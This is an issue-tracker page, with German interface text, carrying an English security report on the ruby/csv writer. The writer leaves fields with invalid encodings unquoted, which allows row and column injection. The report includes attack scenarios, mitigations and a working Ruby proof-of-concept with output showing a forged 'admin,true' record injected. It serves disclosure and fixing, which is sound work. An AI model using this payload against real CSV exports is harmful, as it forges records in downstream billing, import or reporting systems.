CSV writer emits invalid-encoding fields unquoted, allowing row and column injection
Dieses Issue hat noch niemand übernommen.
Bewertung
- Schwierigkeit
- 2/5
- Geschätzter Aufwand
- 1-3 Stunden
- Anfängerfreundlichkeit
- 70/100
Rechercherichtung
Beginne bei lib/csv/writer.rb:200, wo der Writer entscheidet, ob ein Feld in Anführungszeichen gesetzt werden muss, und verfolge, wie ungültige Kodierungen diese Entscheidung beeinflussen. Prüfe die vorhandenen Tests des Writers für Felder mit Zeilenumbrüchen, Kommas und Anführungszeichen. Die Aufgabe ist erledigt, wenn Felder mit ungültigen Kodierungen, die diese Zeichen enthalten, in Anführungszeichen gesetzt oder abgewiesen werden, sodass sie keine zusätzlichen Datensätze oder Spalten erzeugen können.
Vom Indexierungsmodell aus dem Issue-Text verfasst.
Beschreibung
About
Title: CSV writer emits invalid-encoding fields unquoted, allowing row and column injection
Repository: ruby/csv
Location: lib/csv/writer.rb:200
Severity: Medium
Impacted versions: 3.1.6, 3.1.9, 3.2.0, 3.2.3, 3.2.4, 3.2.9, 3.3.0, 3.3.7, 3.3.8
Summary
When the writer decides whether a field needs quoting, it first checks
field.valid_encoding?. If the field contains an invalid byte for its encoding, that
check is false and the writer emits the field raw, with no quotes. The guard was added to
avoid an exception from the regular expression used for the check, but it also disables
the escaping that normally keeps a field containing a newline, a comma or a quote
character from becoming multiple records or columns.
A value such as "x\xFF\nadmin,true" tagged as UTF-8 (or Shift_JIS / EUC-JP with the same
invalid byte) is written as two lines. The exporter believes it wrote one field, but the
file now contains an extra record. The same text without the invalid byte, or a binary
(ASCII-8BIT) string, is correctly wrapped in quotes. The behavior exists in releases 3.1.6
through 3.3.8; before 3.1.6 the same input raised an exception instead.
Impact
Any application that builds CSV from untrusted text (display names, comments, uploaded
file contents, request parameters) can be made to emit rows or columns it never wrote.
When the generated file is re-imported, opened in a spreadsheet or loaded into a database
that tolerates the stray byte, the injected record becomes real data: forged rows in
exports and reports, extra columns, and broken import/export round-trips. The writer's
quoting is the mechanism consumers rely on to keep one field from becoming several
records, so bypassing it defeats the normal protection against newline- and comma-based
field injection.
The main limitation is that a strict consumer which validates encoding will reject the
output (Ruby's own CSV.parse on the default UTF-8 path raises InvalidEncodingError).
The injection is realised by byte-oriented consumers, legacy-codepage importers and
spreadsheets that do not reject the invalid byte. The field must also come from a
multibyte encoding with an invalid sequence: ASCII-8BIT and ISO-8859-1 strings are always
valid and are quoted normally. Using force_quotes: true also quotes the field and avoids
the bypass.
Mitigations
Sanitise/validate field encodings before handing them to the writer (e.g. field.scrub,
reject valid_encoding? == false, or transcode to UTF-8 and drop invalid bytes), and
prefer binary output (String#b) for untrusted data. A fix in the library is to quote (or
raise on) invalid-encoding fields instead of emitting them raw -- build the quoting
decision without the regexp (String#include? checks) so an invalid byte cannot disable
escaping.
Examples
example 1
An internal reporting tool exports user-supplied display names with CSV.generate. An
attacker sets a name to x\xFF\nadmin,true (a UTF-8 string containing one invalid byte).
The exported file contains a second row, admin,true; a downstream billing importer that
reads bytes adds a forged administrator record to its input.
example 2
A support portal exports survey responses and a partner system ingests the file with a
byte-oriented CSV loader. A response containing x\xFF,approved produces an extra column,
so the partner's fixed-column import treats attacker-controlled text as a status field.
example 3
A log-export job writes attacker-controlled comment text with CSV.generate_line. A
comment containing an invalid byte and a newline is emitted unquoted; when an analyst
opens the file in a spreadsheet using a legacy codepage, the newline starts a new row, and
the analyst sees a record that was never in the source data.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b686-7ad7-8bf1-2767b3798643
#
# CSV::Writer#quote skips quoting altogether when field.valid_encoding? is
# false (a guard added in a4b528c to avoid a Regexp::ArgumentError). A field
# that carries an ASCII-compatible multibyte encoding (UTF-8, Shift_JIS,
# EUC-JP) and one invalid byte is therefore written raw -- even though it
# contains CR/LF, the column separator or the quote character. The exported
# file then contains a record the exporter never wrote.
#
# Any consumer that tolerates the byte (CSV.parse with encoding:
# "ASCII-8BIT", a database loader, a spreadsheet, another language's CSV
# reader) sees the attacker's extra row/columns.
#
# Usage:
# ruby csv_writer_quoting_bypass.rb
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"
def export(*fields)
CSV.generate_line(fields)
end
def consumer_view(line)
CSV.parse(line.b, encoding: "ASCII-8BIT")
end
ADMIN_ROW = "admin,true"
fixtures = {
"UTF-8 (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
"UTF-8 (valid control)" => ["x\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
"Shift_JIS (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("Shift_JIS")],
"EUC-JP (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("EUC-JP")],
"ASCII-8BIT (any bytes)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("ASCII-8BIT")],
}
# The exporter writes fields it believes it has quoted; the CSV is then read
# back by the same process to prove what a consumer gets.
records = [
["id", "name", "role"],
["1", fixtures["UTF-8 (invalid byte)"][0], "user"],
]
line = records.map { |record| export(*record) }.join
puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "exported bytes : #{line.inspect}"
puts "exported rows : #{records.size} (one header, one user)"
puts "consumer sees : #{consumer_view(line).inspect}"
puts
puts "per-encoding behaviour (does the writer quote a field containing a newline?):"
injected = false
fixtures.each do |name, fields|
field = fields.first
out = export("user", field, "role")
rows = consumer_view(out)
quoted = out.include?("\"")
row_injected = rows.size == 2
injected ||= row_injected && name != "UTF-8 (valid control)"
printf(" %-26s valid_encoding?=%-5s quoted=%-5s consumer rows=%d%s\n",
name, field.valid_encoding?, quoted, rows.size,
row_injected ? " <-- extra record: #{rows[1].inspect}" : "")
end
still_unquoted = export(
"user", fixtures["UTF-8 (invalid byte)"][0], "role"
).include?("\n")
reparsed = consumer_view(export("user", fixtures["UTF-8 (invalid byte)"][0], "role"))
puts
if injected && still_unquoted && reparsed.size == 2
puts "RESULT: quoting bypassed. A field that the writer would normally quote"
puts " (\"x\\ny\" -> \"\\\"x\\ny\\\"\") is emitted raw as soon as it also carries one"
puts " invalid UTF-8 byte, so the exported file contains the extra record"
puts " #{reparsed[1].inspect} and the extra columns it carries."
exit 0
end
puts "RESULT: no quoting bypass observed -- bug not reproduced"
exit 1
stdout
$ ruby csv_writer_quoting_bypass.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
exported bytes : "id,name,role\n1,x\xFF\nadmin,true,user\n"
exported rows : 2 (one header, one user)
consumer sees : [["id", "name", "role"], ["1", "x\xFF"], ["admin", "true", "user"]]
per-encoding behaviour (does the writer quote a field containing a newline?):
UTF-8 (invalid byte) valid_encoding?=false quoted=false consumer rows=2 <-- extra record: ["admin", "true", "role"]
UTF-8 (valid control) valid_encoding?=true quoted=true consumer rows=1
Shift_JIS (invalid byte) valid_encoding?=false quoted=false consumer rows=2 <-- extra record: ["admin", "true", "role"]
EUC-JP (invalid byte) valid_encoding?=false quoted=false consumer rows=2 <-- extra record: ["admin", "true", "role"]
ASCII-8BIT (any bytes) valid_encoding?=true quoted=true consumer rows=1
RESULT: quoting bypassed. A field that the writer would normally quote
("x\ny" -> "\"x\ny\"") is emitted raw as soon as it also carries one
invalid UTF-8 byte, so the exported file contains the extra record
["admin", "true", "role"] and the extra columns it carries.
- Vorherrschende Sprache
- Ruby
- Sterne
- 221
- Forks
- 142
- Ø Merge
- 1 T. 40 Min.
- Gemergte PRs (30 T.)
- 2
Entwicklungsumgebung
Dieses Projekt bietet weder Dev-Container noch Dockerfile noch Beitragsleitfaden – die Einrichtung liegt bei Ihnen. Beginnen Sie mit der README; die allgemeinen Schritte stehen in unserem Leitfaden für den ersten Beitrag.
Erste Schritte
- Lesen Sie das ganze Issue und danach den Beitragsleitfaden des Projekts.
- Schreiben Sie ins Issue, dass Sie es übernehmen — das erspart doppelte Arbeit.
- Forken Sie das Repository und arbeiten Sie in einem Branch.
- Öffnen Sie einen Pull Request, der die Issue-Nummer nennt.
Mehr aus ruby/csv
-
Streaming CSV parser drops records when a two-character row separator crosses a chunk boundaryOffen
Schwierigkeit 4/5 3-5 Tage Anfängerfreundlichkeit 55/100
-
Schwierigkeit 3/5 1-2 Tage Anfängerfreundlichkeit 72/100
-
Schwierigkeit 3/5 1-2 Tage Anfängerfreundlichkeit 58/100
-
Schwierigkeit 3/5 1-2 Tage Anfängerfreundlichkeit 57/100
-
Unknown converter name is silently accepted and later fails with "undefined method 'arity' for nil"Offen
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 57/100
Ähnliche Issues
-
instrumentation-sidekiq
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 65/100
open-telemetry/opentelemetry-ruby-contrib#2735 ·
Maintainer antworten meist innerhalb von 2 Tagen
-
SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raisingOffen
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 67/100
ruby/securerandom#92 ·
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 76/100
we-promise/sure#5902 ·
Maintainer antworten meist innerhalb von 1 Tag
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 76/100
avo-hq/avo#5065 · 1 Kommentar ·
Maintainer antworten meist innerhalb von 1 Tag
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 72/100
Maintainer antworten meist innerhalb von 1 Tag